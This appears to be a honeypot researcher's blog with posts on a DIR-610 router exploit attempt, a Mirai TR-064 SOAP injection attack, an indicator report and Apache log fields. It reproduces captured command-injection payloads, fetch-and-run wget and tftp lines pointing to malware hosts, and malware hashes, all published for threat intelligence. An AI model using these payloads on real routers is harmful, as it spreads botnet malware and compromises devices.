Meine Blog-Liste

  • end of life - Good morning, as you may have already found out, the posts on this blog have been getting less and less. This is caused by the fact that my two honeypots h...
    vor 10 Monaten

Mittwoch, 11. Januar 2017

DIR-610 exploit attack seen on Honeypot

On my honeypot I come across this sort of attach quite often, we need to keep in mind that my honeypot will reply always with "200 OK" whatever you send to it.

Interesting to see is how the requests involved, like reported on a different post, I tend to believe that the "200 OK" actually causes the real exploit attempt.
2017-01-09 16:53:55 -- {'http': ['181.223.38.29', 'GET /cgi/common.cgi HTTP/1.0\r\nAccept: */*\r\nHost: 81.171.12.232\r\nUser-Agent: Wget(linux)\r\n\r\n']}
2017-01-09 16:53:55 -- {'http': ['181.223.38.29', 'GET /stssys.htm HTTP/1.0\r\nAccept: */*\r\nHost: 81.171.12.232\r\nUser-Agent: Wget(linux)\r\n\r\n']}
2017-01-09 16:53:56 -- {'http': ['181.223.38.29', 'GET / HTTP/1.0\r\nAccept: */*\r\nHost: 81.171.12.232\r\nUser-Agent: Wget(linux)\r\n\r\n']}
2017-01-09 16:53:56 -- {'http': ['181.223.38.29', 'POST /command.php HTTP/1.0\r\nAccept: */*\r\nHost: 81.171.12.232\r\nUser-Agent: Wget(linux)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 208\r\n\r\ncmd=%63%64%20%2F%76%61%72%2F%74%6D%70%20%26%26%20%65%63%68%6F%20%2D%6E%65%20%5C%5C%78%33%36%31%30%63%6B%65%72%20%3E%20%36%31%30%63%6B%65%72%2E%74%78%74%20%26%26%20%63%61%74%20%36%31%30%63%6B%65%72%2E%74%78%74']}
translated with urllib.unqoute() to
ncmd=cd /var/tmp && echo -ne \\x3610cker > 610cker.txt && cat 610cker.txt

After the first view attempts, the attacker should have a pretty good idea that the systems behaves like a DIR-610 system, as the honeypot tells that all urls tested before are actually present.
The command executed makes the file available which the attacker tries to download afterwards in the following call:
2017-01-09 16:53:57 -- {'http': ['181.223.38.29', 'GET /language/Swedish${IFS}&&echo${IFS}610cker>qt&&tar${IFS}/string.js HTTP/1.0\r\nAccept: */*\r\nHost: 81.171.12.232\r\nUser-Agent: Wget(linux)\r\n\r\n']}

My Youtube Video Channel


Last year (or two weeks ago) I have created several videos covering X-Force Exchange and also a Tutorial how to use the linux shell to prepare data, the tools in use can be found here


To watch the videos, please go to

Samstag, 31. Dezember 2016

Sylvester 2016 - Honeypot report

Happy New Year everyone

I have my Honeypot (https://github.com/johestephan/SendMeSpamIDS.py) running for quite a while now. I take the chance of a new Year to summarize the last weeks in one Sylvester report. The indicators are fetched using the shell scripts out of my toolbox (https://github.com/johestephan/CTI-Toolbox) especially
  • getindiV1.sh - fetch all indicators (see report below)
  • getCodeV1. sh - try to execute all wget calls in a file
have been created to operate with the log files I receive.
This report is also available on X-Force Exchange

Scanning IPs:
=====================================
127.0.0.1
163.172.190.56
185.128.43.174
195.154.179.148
212.175.89.190
23.152.0.18
46.4.90.85
51.15.44.122
51.15.56.205
54.218.98.192
62.210.149.68
81.12.119.27
81.12.121.183
81.12.126.233
81.171.12.232
89.248.168.213
89.248.172.207
92.50.64.234
94.102.48.194
94.102.56.181
HTTP urls (object):
=====================================
http
http://163.21.46.2/appserv/a.txt
http://180.163.113.82/check
http://5.39.93.71/2jvf
http://5.39.93.71/aenv
http://5.8.65.5/1
http://5.8.65.5/2
http://95.215.62.11:80/bin.sh
http://afpen.pw:8080/a
http://binpt.pw/a
http://clientapi.ipip.net/echo.php
http://cvfyb.pw:8080/a
http://gdiqt.pw:8080/a
httpheader.net
http://httpheader.net/
http://ixvip.pw:8080/a
http://jgop.org/a
http://jzion.pw/a
http://l.ocalhost.host/1
http://l.ocalhost.host/2
http://l.ocalhost.host/3
http://mrjyq.pw:8080/a
http://mvtul.pw:8080/a
http://qplok.pw:8080/a
http://qrxou.pw:8080/a
http://schemas.xmlsoap.org/soap/encoding/
http://schemas.xmlsoap.org/soap/envelope/
https://github.com/robertdavidgraham/masscan
http://tr069.pw/1
http://tr069.pw/2
http://vizxv.pw/a
WGET (objects):
=====================================
http://5.8.65.5/1
http://5.8.65.5/2
http://95.215.62.11:80/bin.sh
http://afpen.pw:8080/a
http://binpt.pw/a
http://cvfyb.pw:8080/a
http://gdiqt.pw:8080/a
http://ixvip.pw:8080/a
http://jgop.org/a
http://jzion.pw/a
http://l.ocalhost.host/1
http://l.ocalhost.host/2
http://l.ocalhost.host/3
http://mrjyq.pw:8080/a
http://mvtul.pw:8080/a
http://qplok.pw:8080/a
http://qrxou.pw:8080/a
http://tr069.pw/1
http://tr069.pw/2
http://vizxv.pw/a
TFTP (objects):
=====================================
tftp -l 3 -r 1 -g l.ocalhost.host
tftp -l b -r b -g afpen.pw 6969
tftp -l b -r b -g binpt.pw
tftp -l b -r b -g cvfyb.pw 6969
tftp -l b -r b -g gdiqt.pw 6969
tftp -l b -r b -g ixvip.pw 6969
tftp -l b -r b -g jgop.org
tftp -l b -r b -g jzion.pw
tftp -l b -r b -g mrjyq.pw 6969
tftp -l b -r b -g mvtul.pw 6969
tftp -l b -r b -g qplok.pw 6969
tftp -l b -r b -g qrxou.pw 6969
tftp -l b -r b -g vizxv.pw

Sonntag, 4. Dezember 2016

This strange SOAP calls (Mirai)

After the huge attack on Deutsche Telekom I decided to update my Honeypot software and also opened port 7547, which was used in this recent attack, to see what the possible interactions might be. Just some hours after restarting the Honeypot I have seen the first attempts.

POST /UD/act?1 hxxp/1.1
Host: 127.0.0[.]1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml\nContent-Length: 519
<?xml version ="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="hxxp://schemas.xmlsoap[.]org/soap/envelope/" SOAP-ENV:encodingStyle="hxxp://schemas.xmlsoap[.]org/soap/encoding/">
<SOAP-ENV:Body>  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">   <NewNTPServer1>`cd /var/tmp;cd /tmp;wget hxxp://binpt[.]pw/a;sh a`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNTPServer4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>
I have seen several attempts like this

  •  cd /var/tmp;cd /tmp;wget hxxp://binpt[.]pw/a
  • cd /var/tmp;cd /tmp;wget hxxp://srrys[.]pw/a
  • cd /var/tmp;cd /tmp;tftp -l b -r b -g binpt[.]pw;sh b
  • tftp -l b -r b -g srrys[.]pw;sh b
For at least one I was able to fetch the attempted malware


hxxp://binpt[.]pw/a

Which is a simple bash script which then downloads several other files and tries to execute them.

hxxp://binpt[.]pw/1
ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
MD5: e1936defa1f093f52c69072f4b192451

hxxp://binpt[.]pw/2
ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
MD5: b92b1fe8c3ca945e1739b0ec81ad99b5

hxxp://binpt[.]pw/3
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
MD5: fd6a1ec4fd8381d525b7de7a2f317079 

hxxp://binpt[.]pw/4
ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
MD5: 4a8145ae760385c1c000113a9ea00a3a

Good for us, all files are known on VirusTotal and I also shared them with Avira which not have been listed on VirusTotal. As a result Avira has categorized them as

  • 4 MALWARE LINUX/Mirai.oyagk 
  • 3 MALWARE LINUX/Mirai.bzpfn 
  • 2 MALWARE LINUX/Mirai.upnsp
  • 1 MALWARE LINUX/Mirai.armrl 

This report is also available on IBM Xforce Exchange 

Dienstag, 1. September 2015

Apache Logging Forensics (introduction)

The following article was created for a software documentation I have written a year a go. As I buried the software, the documentation was never finished.

Introduction


The idea of the “MyPyApacheFW” started in 2013.

It was caused by a Webserver. Nothing Fancy, but in risk. It was running a normal Apache PHP content managemant system and investigation showed that it was under heavy attack during the night.

First idea was to simply install the mod_security1 on it and include the OWASP ruleset2, but this just broke the whole system as the standard handling by the CMS lead to many problems not resolvable in easy way.

So, to not just leaving it the way it is, I started my firewall project.

The project is available on GITHUB


2http://spiderlabs.github.io/owasp-modsecurity-crs/

Apache Log Entry




When we take a look at “combined logging” which I use to have all log files in one place and no need to run multiple instances at the same time we have basically these fields within the logfile:



Field
Description
oc.johest.de:80
Servername or server alias of the server which was accessed.
ServerAlias:Port
142.0.41.40
The source address where the request came from
[30/Dec/2014:12:32:56 +0100]
The Timestamp of the access
"GET / HTTP/1.1"
The GET command which was received
302
The return code of the GET
526
The size of data which was send in return of this request
"-"


"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"
The information of the client used to perform the GET request.



The GET request

Now, lets take a closer look at the GET request itself.
The request can again be splitted into three things:



Field
Description
GET
Type of the request
/
Path or URL which was requested
HTTP/1.1
Used HTTP version of the request



The client information

"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6"



The client information is pretty much straight forward. It shows the program used to access the website and some basic information on the operating system used. The OS information is mostly taken from the client information, so for what OS the client was build.
Here we see that the client was a Firefox build for windows.

"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36"



Another client “seen in the wild” is this Safari build on Mac OS X.


How does it work



When receiving a GET / HTTP/1.1 requested
  • Apache is addressed to deliver the content of / to the client. The representation of / is taking from the Server which was addressed, in our case this is oc.johest.de
  • Apache will determine the location of / according to the information within the Server description (normally within /etc/apache2/sites-enabled/SERVERNAME.CONF like in our case 001-oc.conf)
  • / means hereby the source folder described within the directory structure of the conf file
  • It depends on the configured behavior what it will deliver now
    • index.html
    • index.php
    • list of content of the directory

  • Now Apache will find out if the content can be delivered and the return code represents what happened. 302 shows for example that the path was found. Please refer to http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html for a full list of return codes.
  • In addition, Apache calculates the size of the content returned.
  • Apache will place a log entry within the log file (normally within /var/log/apache2/ like in our case other_vhosts_access.log)

Montag, 3. August 2015

SendMeSpam: A two stage compromise attack

SendMeSpam: A two stage compromise attack: I am pretty sure you have read the blog post for the php code execution attack. http://sendmespamids.blogspot.nl/2015/07/encoded-bot-execu...